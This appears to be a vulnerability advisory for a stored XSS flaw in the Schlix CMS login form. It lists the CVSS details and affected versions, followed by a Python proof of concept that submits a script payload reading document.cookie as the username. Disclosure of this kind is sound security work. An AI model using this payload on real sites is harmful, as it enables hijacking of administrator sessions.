Schlix CMS before v2.2.9-5 is vulnerable to Cross Site Scripting (XSS). Due to lack of javascript sanitization in the login form, incorrect login attempts in logs are triggered as XSS in the admin panel.
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
cpe:2.3:a:schlix:cms:*:*:*:*:*:*:*:* - VULNERABLE
Schlix CMS < v2.2.9-5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# CVE-2025-67443 XSS PoC for Schlix CMS
# Target: Schlix CMS login form
# Vulnerability: Stored XSS via login form
target_url = "http://target-site.com/schlix-admin/"
# Malicious payload - XSS via login form
xss_payload = '<script>alert(document.cookie)</script>'
# Login attempt with XSS payload
login_data = {
'username': xss_payload,
'password': 'anypassword',
'submit': 'Login'
}
try:
response = requests.post(target_url, data=login_data, timeout=10)
print(f"[*] XSS payload sent: {xss_payload}")
print(f"[*] Response status: {response.status_code}")
print("[*] PoC sent successfully. When admin views logs, XSS will execute.")
except requests.RequestException as e:
print(f"[!] Error: {e}")